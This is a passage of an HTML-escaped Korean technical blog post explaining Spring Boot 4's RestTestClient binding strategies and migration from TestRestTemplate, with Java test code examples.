    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectHeader&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;contentType&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;MediaType&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;APPLICATION_JSON&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectBody&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;expectedUser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;바인딩-전략-심층-분석-언제-무엇을-쓸까&quot;&gt;바인딩 전략 심층 분석: 언제 무엇을 쓸까?&lt;/h1&gt;

&lt;p&gt;각 바인딩 전략의 내부 동작 원리와 최적 사용 시나리오를 이해해야 RestTestClient를 효과적으로 활용할 수 있습니다.&lt;/p&gt;

&lt;h2 id=&quot;bindtocontroller-초고속-단위-테스트&quot;&gt;bindToController: 초고속 단위 테스트&lt;/h2&gt;

&lt;p&gt;스프링 컨테이너 전체를 로딩하지 않고, 필요한 컨트롤러 인스턴스만 등록하여 테스트합니다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Test&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;testGetBook&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;BookService&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mockService&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mock&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;BookService&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;when&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mockService&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getBook&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1L&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;thenReturn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1L&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Spring Boot 4&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;));&lt;/span&gt;
    
    &lt;span class=&quot;nc&quot;&gt;RestTestClient&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;RestTestClient&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindToController&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;BookController&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mockService&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    
    &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/books/1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exchange&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectStatus&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isOk&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectBody&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;book&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;assertThat&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Spring Boot 4&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;동작 원리:&lt;/strong&gt; 내부적으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MockMvcBuilders.standaloneSetup()&lt;/code&gt;을 사용합니다. 스프링의 전체 빈 생명주기를 거치지 않고, 수동으로 생성된 컨트롤러 객체와 최소한의 MVC 인프라(Converter, Resolver)만 구성하여 가상의 DispatcherServlet을 구동합니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;장점:&lt;/strong&gt; 실행 속도가 매우 빠릅니다. 서비스 계층이나 데이터 액세스 계층을 Mockito로 모킹하여 컨트롤러 로직(요청 매핑, 파라미터 바인딩, 리턴 값 처리)에만 집중할 수 있습니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;한계:&lt;/strong&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@ControllerAdvice&lt;/code&gt;나 전역 필터, 보안 설정 등이 자동으로 적용되지 않으므로, 이를 테스트하려면 수동으로 추가 설정해야 합니다.&lt;/p&gt;

&lt;h2 id=&quot;bindtomockmvc-레거시와-모던의-가교&quot;&gt;bindToMockMvc: 레거시와 모던의 가교&lt;/h2&gt;

&lt;p&gt;이미 MockMvc를 사용하여 복잡한 설정을 구축해 둔 프로젝트라면, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToMockMvc&lt;/code&gt;가 가장 현실적인 마이그레이션 경로입니다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@SpringBootTest&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;@AutoConfigureMockMvc&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;BookControllerTest&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@Autowired&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;MockMvc&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mockMvc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;nd&quot;&gt;@Test&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;testWithSecurity&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;RestTestClient&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;RestTestClient&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mockMvc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
        
        &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/books/1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exchange&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectStatus&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isOk&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;동작 원리:&lt;/strong&gt; 기존에 구성된 MockMvc 인스턴스를 RestTestClient가 감싸는(Wrapper) 형태입니다. 요청 실행은 MockMvc가 담당하고, API 인터페이스만 RestTestClient의 유창한 스타일을 사용합니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;활용 전략:&lt;/strong&gt; Spring Security 설정, 커스텀 필터 체인, 복잡한 인코딩 설정이 포함된 기존 MockMvc 빌더를 그대로 재사용하면서, 테스트 코드의 가독성만 개선할 수 있습니다. 특히 보안 검증 시 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityMockMvcConfigurers&lt;/code&gt;와의 호환성이 보장되므로 권장됩니다.&lt;/p&gt;

&lt;h2 id=&quot;bindtoapplicationcontext-완벽한-통합-테스트&quot;&gt;bindToApplicationContext: 완벽한 통합 테스트&lt;/h2&gt;

&lt;p&gt;실제 애플리케이션과 가장 유사한 환경을 Mock 기반으로 제공합니다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@SpringBootTest&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;BookIntegrationTest&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@Autowired&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;WebApplicationContext&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;nd&quot;&gt;@Test&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;testFullIntegration&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;RestTestClient&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;RestTestClient&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindToApplicationContext&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
        
        &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/books&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;contentType&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;MediaType&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;APPLICATION_JSON&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;New Book&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exchange&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectStatus&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isCreated&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;동작 원리:&lt;/strong&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@SpringJUnitConfig&lt;/code&gt; 또는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@SpringBootTest&lt;/code&gt;를 통해 로딩된 WebApplicationContext를 주입받아 전체 빈을 스캔하고 구성합니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Context Pausing (Spring 7 신기능):&lt;/strong&gt; Spring Framework 7에서는 컨텍스트 캐싱 기능이 개선되어, 사용되지 않는 컨텍스트를 일시 중지(Pause)시키는 기능이 도입되었습니다. 이는 대규모 통합 테스트 슈트 실행 시 메모리 사용량을 획기적으로 줄여주며, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToApplicationContext&lt;/code&gt; 사용 시의 리소스 부담을 완화해줍니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;장점:&lt;/strong&gt; 실제 빈들이 모두 연결되어 동작하므로, 컨트롤러에서 서비스, 리포지토리로 이어지는 데이터 흐름을 검증하기에 적합합니다.&lt;/p&gt;

&lt;h2 id=&quot;bindtoserver-진짜-e2e-테스트&quot;&gt;bindToServer: 진짜 E2E 테스트&lt;/h2&gt;

&lt;p&gt;RestTestClient의 진정한 강력함을 보여주는 모드입니다. Mock이 아닌 실제 HTTP 통신을 수행합니다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@SpringBootTest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;webEnvironment&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;WebEnvironment&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;RANDOM_PORT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;BookE2ETest&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@LocalServerPort&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;nd&quot;&gt;@Test&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;testRealServer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;RestTestClient&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;RestTestClient&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindToServer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://localhost:&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
        
        &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/books/1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exchange&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectStatus&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isOk&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;expectBody&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;book&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;assertThat&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;book&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Spring Boot 4&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;동작 원리:&lt;/strong&gt; 내부적으로 JDK HttpClient, Apache HttpClient, 또는 Jetty Client 등을 사용하는 RestClient를 통해 실제 네트워크 소켓으로 요청을 전송합니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;비교 우위:&lt;/strong&gt; MockMvc는 서블릿 컨테이너(Tomcat/Jetty)의 동작(필터, 에러 페이지 렌더링, 실제 HTTP 헤더 처리)을 완벽하게 모사하지 못합니다. 반면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToServer&lt;/code&gt;는 실제 서버와 통신하므로, 네트워크 타임아웃, 프록시 설정, SSL/TLS 핸드셰이크, 실제 JSON 직렬화/역직렬화 호환성 등을 완벽하게 검증할 수 있습니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Virtual Threads:&lt;/strong&gt; Spring Boot 4의 Java 21+ 지원과 맞물려, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindToServer&lt;/code&gt;를 사용하는 테스트 클라이언트는 가상 스레드(Virtual Threads)를 활용하여 블로킹 I/O 성능을 극대화할 수 있습니다.&lt;/p&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;

&lt;h1 id=&quot;마이그레이션-가이드-testresttemplate--resttestclient&quot;&gt;마이그레이션 가이드: TestRestTemplate → RestTestClient&lt;/h1&gt;

&lt;p&gt;Spring Boot 4.0으로의 업그레이드는 TestRestTemplate을 제거하고 RestTestClient로 전환하는 작업을 수반합니다. TestRestTemplate은 향후 버전에서 제거될 예정이므로 조기 마이그레이션이 권장됩니다.&lt;/p&gt;

&lt;h2 id=&quot;의존성-관리-및-모듈화&quot;&gt;의존성 관리 및 모듈화&lt;/h2&gt;

&lt;p&gt;Spring Boot 4.0은 전체 코드베이스의 모듈화를 단행했습니다. RestTestClient를 사용하려면 올바른 의존성 설정이 필수입니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;모듈 분리:&lt;/strong&gt; RestTestClient는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;org.springframework.boot:spring-boot-resttestclient&lt;/code&gt; 모듈에 포함되어 있습니다. 런타임 시 동기식 HTTP 클라이언트 기능을 위해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;org.springframework.boot:spring-boot-restclient&lt;/code&gt; 의존성이 필요합니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;스타터 패키지:&lt;/strong&gt; 일반적으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spring-boot-starter-test&lt;/code&gt;에 포함되어 제공되지만, 특정 의존성을 제외하거나 커스텀 스타터를 구성하는 경우 명시적으로 추가해야 할 수 있습니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;레거시 지원:&lt;/strong&gt; 마이그레이션 과도기 동안 기존 테스트가 깨지는 것을 방지하기 위해, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@AutoConfigureTestRestTemplate&lt;/code&gt; 어노테이션으로 기존 TestRestTemplate 빈을 활성화할 수 있습니다. 새로운 클라이언트는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@AutoConfigureRestTestClient&lt;/code&gt;를 통해 주입받습니다.&lt;/p&gt;

&lt;h2 id=&quot;코드-변환-패턴&quot;&gt;코드 변환 패턴&lt;/h2&gt;

&lt;p&gt;기존의 명령형 코드를 선언형 코드로 변환하는 패턴을 익히면 마이그레이션 효율이 높아집니다.&lt;/p&gt;

&lt;h3 id=&quot;예제-1-단순-get-요청&quot;&gt;예제 1: 단순 GET 요청&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Legacy (TestRestTemplate):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;ResponseEntity&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;restTemplate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getForEntity&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/books/1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span 